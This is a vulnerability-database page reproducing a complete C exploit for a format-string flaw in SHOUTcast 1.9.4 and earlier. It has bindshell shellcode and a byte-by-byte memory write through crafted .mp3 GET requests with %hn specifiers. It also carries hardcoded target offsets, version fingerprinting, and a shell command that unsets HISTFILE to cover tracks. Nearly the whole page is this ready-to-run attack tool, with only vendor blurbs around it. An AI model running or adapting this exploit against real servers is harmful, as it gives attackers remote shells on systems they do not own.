Lucene search
K

SHOUTcast <= 1.9.4 File Request Format String Exploit (Leaked)

🗓️ 28 Jan 2006 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 24 Views

SHOUTcast <= 1.9.4 File Request Format String Exploi

Code

                                                /* 
 * Shoutcast &lt;= 1.9.4 exploit by crash-x
 * Trys to upload the shellcode to a fixed address
 * and execute it. 
 *
 * This exploit was _not_ written bei Simon 'Zodiac' Moser (segfault.ch).
 */

#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;stdarg.h&gt;
#include &lt;string.h&gt;
#include &lt;sys/types.h&gt;
#include &lt;sys/socket.h&gt;
#include &lt;netinet/in.h&gt;
#include &lt;arpa/inet.h&gt;
#include &lt;unistd.h&gt;
#include &lt;netdb.h&gt;
#include &lt;stdarg.h&gt;
#include &lt;signal.h&gt;    

#define SHELL_PORT 7000
#define SHELL_COMMAND &quot;unset HISTFILE; uname -a; id;&quot;


#if 1
unsigned char shellcode[] = /* bindshell (7000) (Unknown) */
               &quot;\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6&quot;
               &quot;\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50&quot;
               &quot;\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a&quot;
               &quot;\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31&quot;
               &quot;\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0&quot;
               &quot;\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80&quot;
               &quot;\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62&quot;
               &quot;\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80&quot;; 
#endif


struct targ{
    char *platform;
    int retloc; 
    int retaddr;
    int dpa_offset;

} targets[]= {
    { &quot;Try to determine target&quot;, 0xdeadbabe, 0xdeadbabe, 123 }, 
    { &quot;Shoutcast 1.9.4 all Linux distros&quot;, 0x0806493c, 0xdeadbabe, 2534 }, // dpa offset stolen from coki and tal0n's exploit
    { &quot;Shoutcast 1.9.2 all Linux distros&quot;, 0x0806c270, 0xdeadbabe, 2536 },
    { NULL }
};


void usage(char *a){
    int i;

    printf(&quot;[-] Usage: %s -h &lt;host&gt; [options]\n&quot;, a);
    printf(&quot;[!] Options:\n&quot;);
    printf(&quot;\t\t-h\tHostname you want attack (required)\n&quot;);
    printf(&quot;\t\t-p\tPort of the shoutcast (default: 8000)\n&quot;);
    printf(&quot;\t\t-t\tTarget (default: 0)\n&quot;);
    printf(&quot;\t\t-s\tHow long to sleep before try connect to shell in s (default: 1)\n&quot;);
    printf(&quot;\t\t-S\tHow long to sleep before write the next byte of shellcode to the memory in ms (default: 7)\n&quot;); 
    printf(&quot;[!] Targets:\n&quot;);
    for(i = 0; targets[i].platform; i++)
        printf(&quot;\t\t%d\t %s\n&quot;, i, targets[i].platform);
    exit(1);
}
    

int sockprintf(int sock, const char *s, ...){
    char *ptr;
    int bytes;
    va_list arg;
    va_start(arg, s);
    if(vasprintf(&amp;ptr, s, arg) == -1){
/*        free(ptr); do'h shame on me */
        return -1;
    }
    va_end(arg);

    bytes = send(sock, ptr, strlen(ptr), 0);
    free(ptr);
    return bytes;
}


int resolv(struct sockaddr_in *addr, char *hostn){
	struct hostent *host;

    if (!inet_aton(hostn, &amp;addr-&gt;sin_addr)){
        host = gethostbyname(hostn);
        if (host == NULL){
            printf(&quot;[-] Wasnt able to resolve %s!\n&quot;, hostn);
            return -1;
        }
        addr-&gt;sin_addr = *(struct in_addr*)host-&gt;h_addr;
    }
    return 0;
}


int conn(struct sockaddr_in addr, int port){
    int sock;
    
    if((sock = socket(PF_INET, SOCK_STREAM, 0)) == -1){
        return -1;
    }

    addr.sin_port = htons(port);
    addr.sin_family = AF_INET;

    if (connect(sock, (struct sockaddr*)&amp;addr, sizeof(addr)) == -1){
        return -1;
	}
    return sock;
}


int get_shell(struct sockaddr_in addr, int port, int sleeps){
    int sock;
    char buffer[1024];
    fd_set fds;
        
    signal(SIGINT, SIG_IGN);

    sleep(sleeps);

    if((sock = conn(addr, port)) == -1)
        return (-1);
    printf(&quot;[+] Wooohooo we got a shell!\n&quot;);
    sockprintf(sock, SHELL_COMMAND&quot;\r\n&quot;);
    while(1){
        FD_ZERO(&amp;fds);
        FD_SET(0, &amp;fds);
        FD_SET(sock, &amp;fds);

        if (select(255, &amp;fds, NULL, NULL, NULL) == -1){
            fprintf(stderr,&quot;[-] sending failed\n&quot;);
            close(sock);
            exit(1);
        }

        memset(buffer, 0x0, sizeof(buffer));
        if (FD_ISSET(sock, &amp;fds)){
            if (recv(sock, buffer, sizeof(buffer), 0) == -1){
                fprintf(stderr, &quot;[-] Connection closed by remote host!\n&quot;);
                close(sock);
                exit(1);
            }
            fprintf(stderr, &quot;%s&quot;, buffer);
        }

        if (FD_ISSET(0, &amp;fds)){
            read(0, buffer, sizeof(buffer));
            write(sock, buffer, strlen(buffer));
        }
    }
    return 0;
}


void status(int i, int retloc){
    static int c=1;

    switch(c){
        case 1:
            printf(&quot;[|] &quot;);
            break;
        case 2:
            printf(&quot;[/] &quot;);
            break;
        case 3:
            printf(&quot;[-] &quot;);
            break;
        case 4:
            printf(&quot;[\\] &quot;);
            c = 0;
            break;
    }
    printf(&quot;Uploading shellcode[%d] to [%p]\r&quot;, i, (void *)retloc);
    fflush(stdout);
    c++;
}


int write_shellcode(struct sockaddr_in addr, int port, int target, int wsleeps){
    char buffer[1024];
    int retloc = ((0xc0000000) - 8 - strlen(shellcode)), i = 0, sock;

    targets[target].retaddr = retloc;

    for(i = 0; i &lt; strlen(shellcode); i++, retloc++){
        if((sock = conn(addr, port)) == -1)
            return -1;

        status(i, retloc);

        *((void **)(buffer)) = (void *)((retloc));
        buffer[4] = 0x0;
        sockprintf(sock, &quot;GET /content/DD%s.mp3 HTTP/1.1\r\n\r\n&quot;, buffer);

        close(sock);

        if(shellcode[i] &gt; 9)
            snprintf(buffer, sizeof(buffer), &quot;%%.%du%%%d$hn&quot;, shellcode[i], targets[target].dpa_offset);
        else {
            memset(buffer, 0x41, shellcode[i]);
            snprintf(buffer + shellcode[i], sizeof(buffer), &quot;%%%d$hn&quot;, targets[target].dpa_offset);
        }

        if((sock = conn(addr, port)) == -1)
            return -1;

        sockprintf(sock, &quot;GET /content/%s.mp3 HTTP/1.1\r\n\r\n&quot;, buffer);
        close(sock);
//        sleep(1);
        usleep(wsleeps * 100000);
    }
    return 0;

}


int get_target(struct sockaddr_in addr, int port){
    char buffer[1024], *ptr, *ptr2;
    int sock, bytes;

    if((sock = conn(addr, port)) == -1){
        printf(&quot;failed!\r[-]\n&quot;); 
        return -2;
    }     
    printf(&quot;done!\n&quot;);

    sockprintf(sock, &quot;GET /doesntmatter HTTP/1.1\r\n\r\n&quot;);
    
    if((bytes = recv(sock, buffer, sizeof(buffer)-1, 0)) == -1){
        printf(&quot;[-] Wasnt able to determine version of server, do it yourself!\n&quot;);
        return -1;
    }
    buffer[bytes] = 0x0;

    if(!(ptr = strstr(buffer, &quot;&lt;BR&gt;&quot;))){
        printf(&quot;[-] Wasnt able to determine version of server, do it yourself!\n&quot;);    
        return -1;
    }
    ptr += 4;
    if(!(ptr2 = strstr(ptr, &quot;&lt;BR&gt;&quot;))){
        printf(&quot;[-] Wasnt able to determine version of server, do it yourself!\n&quot;);    
        return -1;
    }
    *ptr2 = 0x0;

    printf(&quot;[!] Version: %s\n&quot;, ptr);

    if(strstr(ptr, &quot;Server/Linux v1.9.4&quot;))
        return 1;
    else if(strstr(ptr, &quot;Server/Linux v1.9.2&quot;))
        return 2;
    else if(strstr(ptr, &quot;Server/FreeBSD&quot;)){   
        printf(&quot;[-] The server runs on FreeBSD, it could be FBSD 4.x or 5.x choose the target yourself!\n&quot;);
        return -1;
    } else {
        printf(&quot;[-] Wasnt able to find target for this server!\n&quot;);
        return -1;
    }

    return -1;
}


int main(int argc, char **argv){
    char *hostn = NULL, buffer[1024];
    int i, sock, opt, target = 0, port = 8000, shell_port = SHELL_PORT, sleeps = 1, wsleeps = 7;
    unsigned short ret1, ret2;
	struct sockaddr_in addr;

    printf(&quot;[!] Shoutcast &lt;= 1.9.4 exploit by crash-x\n&quot;);
  
    if (argc &lt; 2)
        usage(argv[0]);
    
    while ((opt = getopt (argc, argv, &quot;h:p:t:s:S:&quot;)) != -1){
        switch (opt){
	        case 'h':
	            hostn = optarg;
	            break;
	        case 'p':
                port = atoi(optarg);
                if(port &gt; 65535 || port &lt; 1){
                    printf(&quot;[-] Port %d is invalid\n&quot;,port);
                    return 1;
                }
                break;
            case 't':
                target = atoi(optarg);
                for(i = 0; targets[i].platform; i++);
                if(target &gt;= i){
                    printf(&quot;[-] Wtf are you trying to target?\n&quot;);
                    usage(argv[0]);
                }
                break;
            case 's': 
                sleeps = atoi(optarg);
                break;
            case 'S': 
                wsleeps = atoi(optarg);
                break;
        	default:
                usage(argv[0]);
        }
    }

    if(hostn == NULL)
        usage(argv[0]);

    resolv(&amp;addr, hostn);

    printf(&quot;[!] Connecting to target... &quot;);
    fflush(stdout);
    if(target == 0){
        if((target = get_target(addr, port)) &lt; 0)
            return target;
    } else 
        if(get_target(addr, port) == -2)
            exit(-2);

    printf(&quot;[!] Targeting: %s\n&quot;, targets[target].platform);
    

    if(write_shellcode(addr, port, target, wsleeps) != -1)
        printf(&quot;[+]\n[+] Uploaded shellcode succesful\n&quot;);
    else {
        printf(&quot;[-]\n[-] Wasn't able to upload shellcode, server probably crashed!\n&quot;);
        return -1;
    }

    printf(&quot;[!] Writing retaddr [%p] to retloc [%p]\n&quot;, (void *)targets[target].retaddr, (void *)targets[target].retloc);


    if((sock = conn(addr, port)) == -1){
        printf(&quot;[-] Connecting failed!\n&quot;);
        return -1;
    }
    memset(buffer, 0x0, sizeof(buffer));
    *((void **)(buffer)) = (void *)(targets[target].retloc);
    *((void **)(buffer + 4)) = (void *)(targets[target].retloc + 2);
    sockprintf(sock, &quot;GET /content/DD%s.mp3 HTTP/1.1\r\n\r\n&quot;, buffer);
    close(sock);

    ret1 = (targets[target].retaddr &amp; 0xffff0000) &gt;&gt; 16;
    ret2 = (targets[target].retaddr &amp; 0x0000ffff);

    snprintf(buffer, sizeof(buffer), &quot;%%.%uu%%%d$hn%%.%uu%%%d$hn&quot;, 
            ret1, targets[target].dpa_offset + 1, (ret2 - ret1), targets[target].dpa_offset);

    if((sock = conn(addr, port)) == -1){
        printf(&quot;[-] Connecting failed!\n&quot;);
        return -1;
    }
    sockprintf(sock, &quot;GET /content/%s.mp3 HTTP/1.1\r\n\r\n&quot;, buffer);

    if(get_shell(addr, shell_port, sleeps) == -1){
        printf(&quot;[-] Exploit failed\n&quot;);
        return -1;
    }
    return 1;
}

// milw0rm.com [2006-01-28]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation